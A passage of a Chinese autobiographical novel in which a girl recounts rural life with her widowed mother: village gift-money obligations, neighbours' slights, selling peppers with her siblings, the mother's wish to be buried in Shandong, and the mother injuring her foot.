中午,孬蛋来我家了:“三姐,俺媳妇来了。我来喊俺大侄女,过去陪着她婶子一块儿吃饭。” “行。大丫头快去吧。陪着恁三姨吃饭去。”我妈妈笑嘻嘻地说。 “妈,我走了!”我高兴地跟我妈妈说了一句,就跟着孬蛋朝他家里走去。 孬蛋的新房里,孬蛋的妈,也是大恶心的妈,在忙着烧菜,上菜。 “大奶奶!”我说。 “哎!来了?大丫。麻进屋吧。一会儿就吃饭了。” 屋里,还有姓凡的好几个小丫头,围着三婶子,有说有笑的。 “三姨!”我喊一声。 三婶子笑着答应:“大侄女,快来坐。” 孬蛋在旁边说:“叫三婶子!” “三婶子!”另一个小女孩大叫了一声儿。 “嗯。”三婶子闷声闷气地应了一声儿,她的脸沉了下来,两腮红红的。 我在孬蛋家吃完了饭,就回家了。 三婶子要上门给各家请安了。现在,三婶子正从凡乐家里出来,她婆婆陪着她,一群小孩儿跟着,马上就要到我家了。我很高兴,连忙跑出去迎三婶子到我家来。我盼着我妈妈喜笑颜开地出来迎接三婶子,然后喜气洋洋地把钱掏出来给她,完成这道光荣的仪式。可是我妈妈不在屋里。 “俺妈去屋后上茅房了。”我弟弟说。 我觉得我妈妈有点扫兴。她怎么没及时出来恭迎我三婶子呢。 正这样想着,我妈妈提着裤子,系着裤腰带,像个醉汉似的从屋后回来了。是的,我妈妈从茅房出来,总是边走边系裤腰带。她黑黑的两根裤腰带托地多长。她看到了三婶子。 “三妹妹来了!”我妈妈笑着跟她说。 “三姐!”三婶子亲切地喊我妈妈。 我妈妈从贴身的裤兜里掏出来一张绿色的五十块钱:“给!三妹妹!拿着!” 三婶子客气了一下:“不要了。三姐!” “哪儿的事儿。三妹妹。应该的。给,拿着!”我妈妈说。 三婶子笑嘻嘻地收下了我妈妈的钱。我也觉得很光荣。 “俺大丫头天天夸你,可喜你了。”我妈妈跟三婶子说。 “俺大侄女……”三婶子笑嘻嘻地,她不知道说什么了,她原本也不太认识我妈妈,她原本也没打算跟我妈妈说什么的。 “俺大侄女蛮好的。”三婶子慢吞吞地笑着说。 “俺去西院他二婶子家了。”恶心他娘说。 “行!大娘。恁去吧。”我妈妈笑着说。 三婶子在众人的簇拥下又赶往另一家了。 我说:“妈妈,听说,今年俺孬蛋叔就要结婚了。” 我妈妈说:“孬蛋长得好,人家女方是看上孬蛋的人了。”这个我知道,孬蛋长得一米八的大个儿,瘦长脸儿,看起来高大又威武。 “本来,孬蛋家没有钱,孬蛋的爹想等着攒够了钱,给孬蛋的新屋拉上院墙,再给孬蛋结婚的。那天,孬蛋的爹去赶集,遇到了孬蛋的老丈人。两个老头儿找个树凉荫,坐下来拉呱。两个小老头儿东扯葫芦西扯瓢,等到临走的时候。孬蛋的老丈人跟孬蛋他爹说,‘大哥,男大当婚,女大当嫁啊!’孬蛋他爹这才知道,人家女方急着要给了。” 我听了我妈妈的话,高兴地说:“孬蛋要结婚了?那咱有八大碗吃了!我要上学,可能吃不上哦。鸿雁跟笑笑能去吃八大碗了。” 我妈妈说:“孬蛋结婚,咱又得出钱。钱钱!哪儿都是钱!他结婚咱得花钱,他生孩子送朱米,咱得花钱。他小孩儿过生日咱还得花钱。没完没了。恁姊妹几个还小,等恁姊妹几个结婚,那等到什么时候了?!大恶心家,他二兄弟二柱子家,他三兄弟孬蛋家。还有西院儿的凡乐家。花吧!什么是头儿,什么是了儿啊!我不说了!我得去拾柴禾去了。咱家连柴禾都没的烧。连油都买不起了。” 我妈妈说着。又背起粪箕子,拿起镰刀去拾柴了。 凡庄南家前,有很多枯黄的野草,没人割。我家地少,没有烧锅的柴禾。秋冬季,或是农活儿还不多的春季,拾掇完没事儿了,我妈妈就背着粪箕子去割柴禾。我去上学的时候,穿着人家给我的橙色的毛衣,经过南大路,就看到路边沟渠里正在割柴的妈妈。 “妈妈!”我喊一声。我妈妈从沟里抬起头,笑着看看我。 那天的风很大,我的妈妈站在满是荒草的沟里,她的手里握着镰刀,她的身旁放着粪箕子,她还是像在山东的时候那么好看。妈妈都是为了我们啊,她为了我们的吃,为了我们的穿,她跳下沟渠,捧出了一把一把的黄草来给我们烧饭。 “妈妈,孬蛋快结婚了。今天,俺大大娘喊了大恶心家的去给新媳妇铺床了。” 我妈妈说:“人家结婚,找人铺床,都不找恁妈这样的。人家要找‘全福人’,离过婚的,死了丈夫的,人家都不找。人家就要找没离过婚的,没死过丈夫的,有儿子的,最好是儿女双全的。本来,咱是山东,人家是南乡,咱跟人家也不亲。要不是因为恁三姑姥娘,咱跟人家有什么。” 我说:“俺爸爸死了,又不怪你。俺不觉得你比旁人差!” 是的。妈妈有何难堪?妈妈有何不堪?这世上爹死娘改嫁的人太多,妈妈没有撂下我们不管。她像一个老母鸡一样带着我们,走到哪带到哪儿。为此她吃苦挨打挨骂。可是她从来没有想过放弃她背上的三座大山。妈妈一个人吃力地举着我们。为此,她吃尽了苦头,流光了眼泪,哭干了双眼。妈妈因为常年痛哭擦眼泪,眼皮早早地耷拉下来了。妈妈因为节省每一滴油给我们吃,自己口攒肚挪地省着忍着。她的大拇指的指甲早早地空了黑了瘪了,那是她做针线活儿的时候大洋针扎的,再加上缺乏营养,她的大拇指的指甲,就那样一直空着黑着瘪着。这就是我的妈妈,这就是为我们奉献一切,付出一切的妈妈。 本来。因为三姑姥娘的关系,我们还维持着跟姓凡的来往,姓凡的有什么红白喜事儿,我妈妈都去随礼。可是后来的一件事,把我妈妈的心伤透了,开始切断跟他们的一切往来。 那阵子,我妈妈感冒严重,无钱医治,正躺在床上哼哼。姓凡的一个妇女,到我家来,跟我妈妈说:“二灯油家的大儿要结婚了,咱都得去随份子。一家子一百块钱。” 我妈妈病地躺在床上,连话儿都要说不出来了。她跟那个女人说:“俺家三个孩子上学,负担太重了。我感冒了,连一片安乃近都买不起了。” 那个女人听了,看都没看我妈妈一眼。她站在我家屋门口儿,看着天井里的梧桐树说:“这个月初八的日子。一家子一百块钱,你记得去喝喜酒!” 这次,我妈妈没有随份子,也没去喝喜酒。 “咱给姓凡的断绝来往了。从二灯油那里开始,往后一刀切,谁家有什么红白喜事儿,咱都不去了。咱去不起。”我妈妈跟我们说。 “嗯。”我们郑重地答应着,郑重地沉默着。 “人家光知道催着咱去随份子。咱的死活人家根本不管。人家来叫去喝喜酒,我病地躺在铺上,连一片安乃近都买不起了。人家还跟我要一百块钱。我上哪儿弄钱去?我去抢去?”我妈妈说。 “嗯。咱实在没有钱,咱随不起。”我说。 “人情礼节太多了。今天这家结婚了,明天那家生孩子了,后天,那家又要出老殡了,咱娘四个儿连打针吃药、吃盐买油的钱都没有了,哪儿还有钱再去随礼啊。”我妈妈说。 4.凡伦三大爷 我妈妈想种大棚,就把我二姨夫从山东请来,二姨夫用自行车拉着一板车的竹竿、塑料纸,从北乡来了。二姨夫说话经常低着头,温温吞吞地,一看就是个老实人。我妈妈把凡伦大爷请过来,帮忙架大棚。 凡伦大爷说:“二姐夫,我看种大棚蔬菜可以。不行,你也教我种大棚吧。” 我二姨夫说:“行,你能种,我就能教。”就这样,凡伦大爷家也种了大棚。我们家跟凡伦大爷家的大棚地挨地很近,两家处得也不错。凡伦大爷排行老三,我们给他叫三大爷。 那阵子,家家户户都在看“小燕子”,我妈妈天天带着我弟弟妹妹去南家前的凡伦三大爷、三大娘家看“小燕子”。 一天早上,我们跟着妈妈走到凡庄南家前,走过三大娘门前,三大娘正坐在屋门口儿洗衣裳呢。 “三嫂子!”我妈妈喊她。 “三大娘!”我也跟着喊。 “哎!”三大娘笑地很灿烂,一个绛紫色的塑料洗衣盆子横在她面前,“晚上来看‘小燕紫(子)’啊!” 我妈妈说:“行!三嫂子。恁忙吧,俺娘几个转悠转悠。” 我说:“我看俺三大娘长得怪好看来,脸圆圆的,煞白,眼大大的。” 我妈妈说:“你看着恁三大娘比恁三大爷年轻吧?恁三大爷从贵州带来的。恁三大娘是贵州人。” 我说:“哦。俺三大爷还去过贵州啊。” 我妈妈说:“恁三大娘比恁三大爷小十几岁。恁三大爷到贵州的时候,恁三大娘还是个小丫头。恁三大爷骗她,跟她说,要把她带到富裕的地方,给她找个小伙子。恁三大娘就跟着恁三大爷来了。等到了凡庄,恁三大爷就不给她找小伙子了。他自己留着了。连娘家也不让她回。恁三大娘又急又气,头脑变地不好了。成痰迷了。她一犯病,就到处走。平时都得有人跟着。” 我说:“三大爷长得也不孬。他的眼是怎么回事?怎么一个眼睁着,一只眼闭着的?” 我妈妈说:“恁三大爷一个眼好,一个眼不好。要不他能去贵州找媳妇吗?他只有一个眼,人家好样儿的大姑娘谁跟他。恁三大娘那时候是小丫头,太小了,也没上过学,才被他骗来的。小孩儿,可得好好上学。” 我说:“我看俺三大爷蛮好的。文绉善面儿的。” 我妈妈笑着说:“恁三大爷好吧?恁三大爷跟我说的,‘女孩儿上什么学?你跟恁大丫头说,让她别上了。你送她去学裁缝。小孩儿,你哄哄她,就说学裁缝跟上学一样。大丫头不上学了,恁家的负担就轻快多了。’我说,‘那可不行,她上学最用心,她有多大本事,我就供她上到哪’。” 我生气地说:“凡伦还坏着你不要供我上学啊。恁坏的!真是瞎坏瞎坏的。怪不得是个‘独眼龙’!” 我妈妈说:“你可不能笑话恁三大爷哈。‘人到八十八,别笑话人瘸和瞎。’人家也不是坏。人家是看咱家穷,供不起了。” 我说:“他家的两个儿还上学吧?” 我妈妈说:“他家两个小孩儿早就不上学了。都出去打工去了。凡伦那个精。他年纪又大了。他可舍不得花钱供小孩上学。” 我说:“坏人如坏己,坏来坏去坏自己。凡伦不想让我上学,他自己的孩子先不上学了。” 我妈妈说:“各人有各人的想法。这庄上的人可多小孩都不上学了。不上学多好,又能挣钱养自己,又能给家里寄钱。人家那些不上学的家里,都盖的瓦屋楼房的。你看咱,恁姊妹仨上学,咱是凡庄最穷的。人家都说,光是恁姊妹几个上学,都把咱家给上穷了。也就恁妈,主意拿地正,非得供恁姊妹几个上学。” 我说:“妈,你看着人家盖屋,你羡慕吧?” 我妈妈说:“我不羡慕。咱搁凡庄不能盖屋,咱搁凡庄蹲不住。咱盖了屋也是给姓凡的盖的。等没有恁三姑姥娘的眼儿了,人家姓凡的都得把咱赶走。咱盖屋干什么?恁好好上学,学了文化,装在肚子里,谁都抢不走。” 三大娘一家种大棚,变得忙活起来。 一天,我妈妈看到三大娘抱着一个棉袄,往大棚地里走。 我妈妈跟她打招呼:“三嫂子,你抱的什么啊!” “啊?你怎么说我抱个孩子的?!”三大娘生气了。 “我说的,你抱的什么!”我妈妈笑着跟她说。 “不是的,你说我抱个孩子!”三大娘说,“你说我抱个死孩子!” “我什么时候说你抱个死孩子哎!你说你这个人!真是头脑不好了,怎么胡说八道的。”我妈妈说。 “啊?你说我头脑不好!”三大娘蹦过来说。 “恁娘的,你再说她头脑不好,别怪我跟恁娘的不拉倒!”三大爷爷蹦过来说。 “恁娘的什么恁娘的?!她不说我我就说她了?”我妈妈说,“我没说她抱个死孩子,她非说我说她抱个死孩子的?” “她说你说了,那肯定是你说了。她无妄地能冤枉你吗?她怎么不说旁人的?”三大爷说。 “你哪个耳朵听到我说她的?你哪个眼睛看到我说她了?我不就是跟她打个招呼吗?恁两口子都来怪我来!” 我妈妈跟他们两个人就这样争执了起来,这以后,我妈妈也不再去三大娘家看“小燕子”了。 但是,两家毕竟没有什么深仇大恨,不久,凡伦三大爷跟三大娘跟我妈妈又重修旧好了。 一天傍晚,我们在天井里剥蒜,南家前的独眼的凡伦三大爷来了。 “三妹,俺家恁三嫂子来了吗?”三大爷站在我家大门前问我妈妈。 “没有啊,三哥!”我妈妈说,“俺三嫂子没来俺家哦。” “恁三嫂子又犯病了!我得去找去!我还得忙着摘辣椒子,我顾哪头是啊!”三大爷急挠挠地说着,转身就走了。 “三大娘又找不到了?”我问。 “都是恁三大爷气的,她是气迷心窍!”我妈妈还是很心疼三大娘。 “那她一个女的,还恁么年轻,不危险啊!”我说。 “怎不危险的。她两个儿跟恁三大爷一块儿,骑着摩托车,到处找!”我妈妈说。 “三大娘还能找回来吧?”我问。 “能回来!跑了好几回了,都找回来了!恁三大娘运气好,上回恁三大爷带着恁三大娘去检查,医生说恁三大娘得了癌症了。后来过了段时间,又去检查。医生说,先前长得那个东西没有了!人家医生都觉得惊奇。人家还问恁三大爷,恁这是吃了什么啊?之前长得那个东西没有了呢。”我妈妈说。 “吃的灵芝仙草!”我笑着说。 我妈妈问我们说:“恁三大爷要去摘辣椒子,咱的辣椒子也该摘了。回恁姊妹几个去卖辣椒子去吧?” 我们说:“行啊!太好了!俺去卖辣椒子去!” 星期天,我们三个推着板车、带着一杆小秤,走街串巷去卖辣椒子。 农村人,吃过了早饭,大多数关门闭户去地里了。听见我们一声“卖辣椒子喽!”在家里的就走出家门,来到我们的板车前买辣椒子。 “辣椒子多少钱斤啊?”女人捏着我们筐子里的辣椒子问。 “两毛钱一斤!”我弟弟抢着说。 “哟,恁这也不便宜吗?”女人说。 “便宜!比集上卖的便宜!”我说。 “那我买一斤吧!买点辣椒子吃吃!”女人说。 我弟弟拿起了秤开始称辣椒子。 “哟,你这个小孩儿,还怪在行来!可得给我个准秤哈!多饶几个辣椒子!行吧?”女人说。 “行!”我说。 我们给人家称辣椒子的时候,都是把秤打地高高的。 “你看,这样行了吧?秤多高!”我弟弟说。 “行行行!”女人说。 不是时时刻刻都有人来买辣椒子的,没有人来买辣椒子的时候,我们就围着我们的板车说说话儿。 “大姐!咱马上去渡口卖辣椒子吧?渡口有船蛮子,船蛮子会下来买辣椒子的。”我弟弟说。 “行!你跟笑笑去过渡口吗?”我问他。 “去过!渡口的船蛮子下来买东西,他们也不讲价。给了钱就走。”我弟弟说。 “行!那咱过会儿就去渡口。你知道怎么去渡口吧?”我问他。 “就在前头的高岗上,爬上去,公路对面就是渡口。”我弟弟说。 我们推着板车,经过绿杨阴里的村庄,一个男人从一扇大门里头走出来。 “来,小孩儿,来买点儿辣椒子!”他朝我们说。 “哦!”我弟弟赶紧答应着。男人买完辣椒子走了。接着,又来了几个老娘们儿来买辣椒子的。 “咦!咱说的去渡口的,在这儿就走不动了!”我说,“这儿是哪个庄啊?” “这儿就是渡口。渡口对面就是运河。你听到大船的声音了吗?”我弟弟说。 “听到了,这还听不到啊!”我说。 “咱小的时候,咱爸爸就带着我去运河看大船。”我弟弟说。 “嗯。晚上睡觉的时候,我也能听到大船的声音。”我说。 “你看,渡口对面是运河,这个庄上的汪就是运河里头的水渗过来的。常年不干。运河不干,它就不干。”我弟弟说。 “哦,怪不得。咱山东荆堂里就没有这样的汪。”我说。我看看那些汪,绿绿的汪水上头,飘着几片黄黄红红的树叶,很像小时候我妈妈带我看过的那些汪。我妈妈在那些汪里洗我弟弟妹妹的尿戒子。 我弟弟说:“咱的辣椒子也卖地差不多了,咱把钱点点吧。看看卖了多少钱了。” 我说:“行!你点吧!” “哟,怪多来。我拿几块钱留着买东西吃。你别给咱妈说!”我弟弟往裤兜里装着钱说。 我说:“行。你别装太多,别被咱妈查出来。” “查不出来!她上哪儿查去!”我弟弟得意地笑着说,“你也拿几块钱吧?” “你拿了,我就不拿了。”我说,“少的太多了,咱妈就查出来了。” 5.种瓜得瓜、种豆得豆 我妈妈是我家唯一的劳力。有时候,我不用去上学,就跟我妈妈一起去山上干活。山上,芝麻开着紫色的小花,草棵子里,虫子“唧唧”地叫着。时而有几个蚂蚱鼓着翅膀“哧溜”飞到我的腿上,蹬地我的腿上痒痒的。 “你看这地里多少蚂蚱啊。”我妈妈说,“都是来吃庄稼的。什么害庄稼,蚂蚱呢!” “大姐,你还记得吧?咱小的时候,咱到西岭上逮了蚂蚱,拿茅草棒棒串上,拿到家,咱爷爷炒给咱吃。”我弟弟笑着跟我说。他的侧脸遗传了我妈妈的一颗虎牙,现在那牙越来越大,像是一根锥子,他说话的时候,那颗突出来的侧牙划拉着他侧面的嘴皮子,成了他说话的一大特色了。 “记得啊。”我说。是的,小时候总是好的,在山东总是好的,现在到了南乡,再也没有逮蚂蚱的闲情了。 “这芝麻是恁三大娘家的,能收了,再不收,要炸了。”妈妈说。是的,小时候,我见过爷爷收芝麻。那芝麻粒粒很小,不及时收割,掉在地上,很难捡起来。芝麻好吃,但是我家不种这些。我家只种庄稼。 到了山上,我跟妈妈一起割大豆。大豆已经成熟了,耷拉着枯黄的叶子,用镰刀把几棵大豆杆子揽过来,一镰刀下去,几棵大豆就被强行与土地母亲分离了。空气里飘来豆荚的香气。我喜欢田野,热爱土地。可惜这儿不是我自己的土地。 “东庄上死了一个大闺女。掉河里淹死的。”我妈妈说。 “她怎么不小心掉河里的?”我问。 “她跟着她爹去拔稻秧子,拔完稻秧子,她去河里涮脚的。涮完脚,她扒着河边的高压线,想上来的,谁知道高压线漏电,她被电死了。可怜吧,还不到二十。爹娘怎么过啊?”我妈妈说。 “是谁啊?”我问。 “是东庄上的大闺女。她爹恁给叫二大爷。”我妈妈说。 “我不知道,我没见过。”我说。 “就是那天,姓凡的在咱家审问我,她站在人群里笑的那个。”我妈妈说。 哦,我知道了。我还记得有这样一张脸,我还记得有这样一个人。 “她爹也是疼儿不过。还给她花钱买的冰棺。夏天,天热,搁不住。”我妈妈说。 “哦!” “以后,看到河跟儿的高压线,可不要去碰。” “嗯。” “看到人家受苦受难的人,也不要笑话人家。” “嗯。” “人到八十八,别笑话人瘸和瞎。千秋万代,谁知道谁什么样儿。”我妈妈说。 “嗯。” “等我死了以后,恁姊妹仨就把我运回山东,跟恁爸爸埋搁一块儿。”我妈妈交代我说。 “嗯。”我答应着,我能不能做到,我心里一时也没有底儿。 “姓凡的要是阻拦怎么办?”我问我妈妈。 “恁就说,恁拉着恁妈去治病的。”我妈妈说。 “行。”我说,“你不能搁这儿,我也不喜欢这儿。” 我抬起腰来,看看漫山遍野的坟子。这是一片多么陌生的土地。我们是为了生存才到了这里。我妈妈要是一个人葬在这里。得是多孤单啊。这里,埋葬的都是一群陌生人,和活着的时候就老是要欺压她的人。是的。把我妈妈带到山东去。她不能在这里。不能把我妈妈留在这里。她要回去。在山东,有她热爱的人和土地。有爸爸陪伴着她,她艰难一生的苦灵魂才不会孤独无依。 中午回家吃饭了。南乡的生活,其实比我爷爷家要差地多。我妈妈种了三姑姥娘的几亩地,来养活我们,我们要吃饭,要上学。我妈妈不会做什么好饭菜给我们吃,我们的午饭是大米饭,菜是搪瓷碗里妈妈炒的黄豆粒。我妈妈自己爱吃黄豆。她端着碗,嘴里嚼着豆子,跟我说:“吃豆子要细嚼慢咽!这样营养才好吸收。” 我端着碗,看看那搪瓷碗里的一粒粒滚滚的黄豆。这样的伙食,跟爷爷家确实是没法儿比的。我一下子更加思念爷爷了,眼泪“啪嗒!啪嗒!”往下掉。 我跟我妈妈抱怨说:“俺跟俺爷爷吃的比这好多了!”我很少跟我妈妈抱怨,也不敢抱怨。可是,这一次,我鲜有地跟我妈妈抱怨了。我妈妈看着我哭,看着我抱怨,她也不理我,她依旧抱着碗吃她的饭。 我自己掉完了眼泪,接着吃饭。 我妈妈是舍不得像我爷爷那样吃,长期地舍不得吃,她确实变得不会吃了。我们娘四个,光吃饱饭就是个大难题了,她哪里还顾得上什么好吃不好吃。 我感觉到了南乡以后,我就没有好好吃过一顿饭,我就没有吃过一顿好饭。我跟着爷爷的时候,我们吃饭要桌子有桌子,要板凳有板凳,要盘子有盘子。虽然饭菜简单,但是像模像样。但是,自从我来到南乡跟着我妈妈以后,我吃的,用的,坐的,样样不像样,我们穷在内里,也穷在表面,穷地又寒碜又寒酸。我妈妈就这样,慢慢地把一种极度的匮乏感和自卑感深深地种到了我们的心田。 我妈妈吃完了饭,又去场上晒豆子去了。我默默地跟着去看。我妈妈那一堆豆子晒在场上,脱了壳,一粒粒,滚珠似的,溜圆。我妈妈用竹筢子摊着豆子,我站在一边,呆呆地看。 我妈妈说:“还是南乡好。要是在山东,咱哪能种这些豆子哎。”我看着那些圆圆的豆子和那些黑黑的豆茬,我撅着嘴,我的脸上还挂着明亮的泪痕。我不喜欢这儿。可是我也没有办法。是的。我还是喜欢山东。南乡的场,南乡的豆子,跟我都是那么陌生。我是一点都不习惯,一点儿都不喜欢。 我说:“俺不喜吃豆子。俺爷爷就从来不种豆子。” 我妈妈说:“他哪是不想种啊,山东地少,光种庄稼了。他是想种没有地种。你看咱这豆子,多好,一粒粒的,都是油。你上学要多吃点油。恁爷爷都舍不得给你多吃油,多吃油眼亮。”我不吭声儿,似乎对她说的吃豆子的事情并不感兴趣。但我内心的难过和叛逆也慢慢地在呆立中消散了过去。 “我爱吃豆子,我搁山东的时候还会生豆芽子。我铺头上的书包里,有我炒的豆子,可香了。回你想吃就去拿。”我妈妈说。她侧过脸来温和地看了看我。 “哦。”我呆呆地说。 “吃豆子好放屁!我为大闺女的时候,生产队里噶完豆子烧豆子吃。社员都围到一圈儿,蹲着拾豆子吃。俺纪山叔也蹲着拾豆子吃。他吃着吃着跑到当央去了。他在当央放了个屁。那个臭啊!把外头围着的一圈儿人都给熏跑了,就剩下他自己搁那拾豆子吃。”我妈妈笑着说。我的脸上也露出来一脸喜色。我妈妈又温和地看了看我。 我妈妈那年种了半亩地的小瓜。夏天,满地的瓜熟了,我妈妈让我弟弟去我家的瓜地里看瓜。我妈妈在瓜地里用一张小床和一顶蚊帐搭成了个瓜屋子。我弟弟坐在瓜屋子里。时而有小孩去地里找我弟弟玩儿。憨丫就是去地最勤快的一个。 憨丫比我弟弟略小一点,她的母亲因为生病,怀胎的时候吃了药,她生下来就嘴歪眼斜。憨丫右边的脸蛋还算正常,左边的脸蛋红红的,像是被谁向上捏了一把,眼睛挤在一起,眯成一条缝儿。她说话的时候,左边的嘴唇像上挑着,左边的牙齿就白白地露出来了。憨丫口齿不清,但她很爱唱歌。 那时候,我们都爱唱《九月九的酒》。 我弟弟唱:“又是九月九,重阳节,难聚首。思乡的人儿,漂流在外头。走走走走走啊走,走到九月九……” 憨丫也唱:“抖把抖,抖把抖!呔!抖把抖……” 凡乐家的小三儿,带着一群小男孩儿在我家地头儿上转悠。他们时而冒出头,时而钻到旁边的玉米地里去叽叽咕咕商量偷瓜的诡计。他们虎视眈眈,我弟弟势单力薄。他们见我弟弟警觉性很强,无从下手,就正大光明地前来挑衅。 “憨丫,唱歌给俺听!唱个‘抖把抖’!”小三儿冲着憨丫儿说。 我弟弟跟她说:“小妹,别唱!” 憨丫笑笑说:“嘿嘿!俺哥不让我唱!” “什么!俺让憨丫唱歌,你不让她唱!管你什么事啊!啊?”凡乐家的小三儿轮起巴掌扇到我弟弟脸上。我弟弟被他们几个包围着,又挨了巴掌,又孤单又绝望,“哇”地一声,裂开大嘴哭了起来。哭声惊动了旁边菜园地里打农药的五婶子。 五婶子吆喝一声:“鸿雁看瓜,恁跑到人家地里打他干嘛的?!回我跟恁娘说去!看恁娘还讲理吧!”小三儿看有人替我弟弟说话,跟他那几个小男孩儿一块儿,不吱拉声儿地顺着玉米沟“哗啦哗啦”地溜走了。剩下我们弟弟在地里抽泣,旁边的憨丫陪着他。 憨丫看他还在哭,就跟他说:“俺哥,你别哭了,我唱歌给你听。‘下雨了,冒泡了,小牛了,咕噜咕噜又一尾。’” 我弟弟听着憨丫的歌,抽抽噎噎的,慢慢地不哭了。 下午,我妈妈收工了,她背着粪箕子来到我家瓜地里。 “妈!”我弟弟喊她。 “哎!鸿雁啊,今天有人来咱家瓜地吗?”我妈妈问我弟弟。 “西院儿的小三儿来了。”我弟弟说。 “他摘咱瓜了吗?”我妈妈问。 “没有。”我弟弟说。 “他没摘咱的瓜,他来咱地里干什么的?”我妈妈又问。 “他让憨丫唱唱儿给他听。”我弟弟说。 “憨丫唱了吗?” “没有。”我弟弟说。 “小三儿来咱地里站了一会儿就走了?”我妈妈又问。 “嗯。”我弟弟呆呆地说。 “鸿雁啊,你怎么不跟恁妈说实话的?我怎么听恁五婶子说,今天,西院儿的小三儿打你了的?” 我弟弟眼睛红红的,两串眼泪从他的眼睛里掉下来。他拿手背擦了一下嘴唇上的鼻涕。 “他让憨丫唱‘抖把抖’,我不让憨丫唱。”我弟弟裂开嘴哭着说。 “你不让憨丫唱,小三就打你啊?”我妈妈问。 “嗯。”我弟弟说。 “那你怎么不跟妈说的?你跟妈说了,妈好上他家找他,妈去跟他娘说,让他下回不要打你啊。你不跟妈说,妈怎么知道啊?下回谁要打你,你跟妈说!”我妈妈说。 “嗯。”我弟弟说。 “妈不是跟你说了吗?你小,打不过人家。管不了的事儿,你不要管。小三让憨丫唱‘抖把抖’,你就让她唱呗。人家憨丫跟他是亲近房,跟你又不亲。妈不是跟你说过吗?谁要是摘咱的瓜,你管不了就不管。你家来跟妈说。妈去找他家大人。你打不过人家,你管人家,人家光打你。妈的话,记住了吗?”我妈妈问他。 “嗯。记住了。”我弟弟说。 “你别哭了,我跟他娘说了。我让他娘好好说说他,让他下回见了你不再打你了。”我妈妈跟我弟弟说。 “嗯。”我弟弟说。 “下回可不种瓜了。鸿雁看瓜,光挨打。”我妈妈说。她到地里挑了几个大的好瓜,用粪箕子背着,给春燕大姐的父母送去。 春燕大姐就站在她家天井里。 她看到我妈妈来,笑着跟我妈妈说:“俺三姨,你来了?给俺背了恁么多瓜啊?” “三妹来了?”凡敏大娘端着舀子从屋里走出来说。 “恁大姐又来给娘家帮忙起蒜了?”我妈妈放下粪箕子说,“恁大妹妹转学多亏了你。俺家也没什么好东西给恁,俺种的瓜,给恁尝尝鲜。” “没事儿。三姨。我听俺妈说的,你给俺家干了可多活儿了。”春燕大姐说。 “俺家西湖的那块菜地,都快旱死了。多亏了恁三姨给我挑水浇地。”凡敏大娘说,“恁三姨能干,挑着一挑子水,从沟这边跨到沟那边,连跨两条沟,才到咱家菜地。” “三姨!”春燕大姐的对象双手插兜,从屋里出来,客客气气地跟我妈妈打招呼。 “大哥又来给恁老岳家帮忙了?当老师多好,假期多,一到假期就来帮忙。”我妈妈说。 “两个人一到假期就骑着洋车子来了,搁南大路上,凡庄上的人就认出来了。”凡敏大娘笑着说。 “恁这个好闺女好女婿啊,全凡庄都难找。他大哥是真能干。人家一个当老师的,平时文绉善面儿的,一到丈母娘家,鞋一脱,光着脚丫子就到地里帮忙扛袋子去了。谁家的闺女闺女婿能这样?”我妈妈说。 “是的,一到起蒜,家家都忙地跟烧火棍戳了腚似的,饭都吃不上。能来两个帮手真是巴不求得的。”凡敏大娘说,“恁家她大姐也快了!让她好好上学,上好了学也跟春燕一样,也当老师,到时候就能回来给你帮忙了。” “不见得哦,大嫂子。到时候,闺女愿意,闺女婿不愿意。闺女婿愿意,闺女还心疼闺女婿,闺女又不愿意了呢。像恁这样的闺女闺女婿,到哪儿找去。”我妈妈说。 “你别忙哎,到时候,她看你忙,她自然来给你帮忙了。或许,恁家大姐上好了学,有本事了,把你接去享福,你不要在家种这二亩地了呢。”凡敏大娘说。 “那我得谢谢大嫂子金口玉言了。那我更得谢谢她大姐帮她转学了。”我妈妈笑着说。 一年到头儿,起蒜和栽蒜是最累的时候。我家起蒜,都是我妈妈一个人起。我们星期天有空了,都去帮忙干活儿。每天,都是干到天黑才回家。 “我头晕!”我妈妈说。我知道,我妈妈头晕都是累的。旁边,人家地里,拖拉机“咯咯嗒!咯咯嗒!”地响,我知道,我妈妈听着这拖拉机的声音,她头疼地更厉害了。 “你回去吧,妈妈。”我跟她说。 “回去怎弄?活儿没干完。”我妈妈说,“趁着天黑凉快,多干点儿。等到明天,太阳恁么毒,热地更受不了啊。” 我知道我妈妈又累,又难熬,可是我也没有办法,就掉着眼泪,拼命干,我多干一点儿,我妈妈就可以少干一点儿。我跪在地上,刺啦刺啦地拔着蒜,一棵棵大蒜从我的胳膊底下冲出地面。一块块的土坷垃崩到我的脸上眼镜上。我的脸上满面尘土,满面泪光。幸好是晚上,四下里上了黑影,没有人看到我那副模样。 第二天,我正在院子里剥蒜,我妈妈在堂屋里切菜准备做饭。 “大省!大省!”我猛地听到堂屋里我妈妈喊我。我赶紧跑过去,我妈妈的脚面子在流血。 “我的脚被菜刀砍了!”我妈妈说。 “去大队部俺水清大爷那里吧!”我说。 “拿酒来!”我妈妈说。我赶紧去找了一瓶酒来,递给她。她把酒泼到脚面子上。 “伤口破了,泼上酒,不发炎。”我妈妈说。 我说:“我推你去大队部包去吧。” “你能推动我吧?”我妈妈问。 “能。”我说。 我把我妈妈扶到板车上,推着她,朝水清大爷的小诊所走去。那是我头一回推我妈妈。 “没什么大碍。”水清大爷说。水清大爷的诊所开在凡庄南家前,四外庄上的人都来这里看病。水清大爷给我妈妈包扎好,我把我妈妈扶起来,准备把她推回家。 “大姐,回家好好伺候恁妈妈。恁妈妈受气太多了,都快成怹迷了!”水清大爷叮嘱我说。 “知道了,大爷!”我说。 “谢谢大哥了!”我妈妈说,“俺来恁水清大爷这儿看病的时候,把咱家的事儿跟恁水清大爷都说了。恁水清大爷是姓孙的门儿上的,人家同情咱。” “妈,刚才俺水清大爷给你包脚,咱没给人家钱。俺大爷也没问咱要钱的?”我问我妈妈说。 我妈妈说:“咱家没钱,先赊着。等哪会儿有钱了,再来恁大爷这儿一块儿结账。” 眼下,我妈妈的脚流了那么多血,我得想办法给她补充营养。 我家里没有鸡蛋,我就去三老太那里借。 “老太啊,俺妈妈的脚叫菜刀砍了,淌了可多血了。恁能借给我几个鸡蛋,我炒了给俺妈妈吃吗?” 三老太说:“能!”她把鸡蛋给我,我拿回家,烧锅,给我妈妈煎鸡蛋。 “鸿雁!你去抓点盐来!”我朝我弟弟说。 我弟弟跑到屋里,抓了把盐,洒到锅里。鸡蛋出锅了,我盛给我妈妈吃。我妈妈一向舍不得吃一口好吃的,可是这回,她的脚受伤了,失血过多,她得补血。 我妈妈端起碗,吃了一口。 “盐太大!没法儿吃。”她皱着眉头说。 